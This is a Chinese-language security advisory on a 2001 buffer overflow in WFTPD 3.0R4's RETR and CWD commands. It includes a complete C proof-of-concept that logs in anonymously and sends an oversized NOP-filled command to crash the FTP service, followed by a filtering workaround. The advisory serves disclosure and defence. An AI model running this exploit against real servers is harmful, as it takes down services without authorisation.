WFTPD 'RETR' 和 'CWD' 缓冲区溢出漏洞
发布日期:2001-04-29
更新日期:2001-04-29
受影响系统:
BUGTRAQ ID: 2644
受影响的系统:
Texas Imperial Software WFTPD 3.0R4
- Microsoft Windows 98
- Microsoft Windows 95
- Microsoft Windows NT 4.0
- Microsoft Windows 2000
描述:
如果用 'RETR' 或 'CWD' 命令向运行 WFTPD 服
务器的主机发送一个无效的长字符串,将因缓冲
区溢出导致服务终止。要获得正常功能,需要重
启服务器。借助这个漏洞,攻击者还有可能执行
任意代码。
这个漏洞被报告在运行 Windows NT 4.0 的系统
上存在,系统上已安装了 SP3、SP4、或 SP6。
问题存在的原因归咎于 WFTPD.EXE 和 函数调用
'NTDLL.DLL:RtlFreeHeap()' 之间的交互。
<* 来源:Len Budney (
lbudney-lists-bugtraq@nb.net) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/* WFTPD Pro 3.00 R4 Buffer Overflow exploit
written by Len Budney
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#define BUFSIZE 32774
#define CMD "RETR " /* Alt: use "CWD " and set OFFSET to 4. */
#define OFFSET 5
void main()
{
int sockfd, s;
struct sockaddr_in victim;
char buffer[BUFSIZE];
char exploitbuffer[BUFSIZE] = {CMD};
char recvbuffer[BUFSIZE];
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) perror("socket");
victim.sin_family = AF_INET;
victim.sin_addr.s_addr = inet_addr("192.168.197.129");
victim.sin_port = htons(21);
s = connect(sockfd, (struct sockaddr *)&victim, sizeof(victim));
if (s == -1) perror("connect");
recv(sockfd, recvbuffer, sizeof(recvbuffer), 0);
memset(recvbuffer, '\0', sizeof(recvbuffer));
send(sockfd, "USER anonymous\r\n", strlen("USER anonymous\r\n"), 0);
recv(sockfd, recvbuffer, sizeof(recvbuffer), 0);
memset(recvbuffer, '\0', sizeof(recvbuffer));
send(sockfd, "PASS\r\n", strlen("PASS\r\n"), 0);
recv(sockfd, recvbuffer, sizeof(recvbuffer), 0);
memset(recvbuffer, '\0', sizeof(recvbuffer));
memset(exploitbuffer + OFFSET, 0x90,
sizeof(exploitbuffer) - OFFSET - 2);
sprintf(buffer, "%s\r\n", exploitbuffer);
send(sockfd, buffer , sizeof(buffer), 0);
recv(sockfd, recvbuffer, sizeof(recvbuffer), 0);
close(sockfd);
_exit(0);
}
建议:
临时解决办法:
NSFOCUS建议您用某种方法过滤掉 'RETR' 和
'CWD' 命令后所跟的过长的字符串。
厂商补丁:
暂无
浏览次数:5121
严重程度:0(网友投票)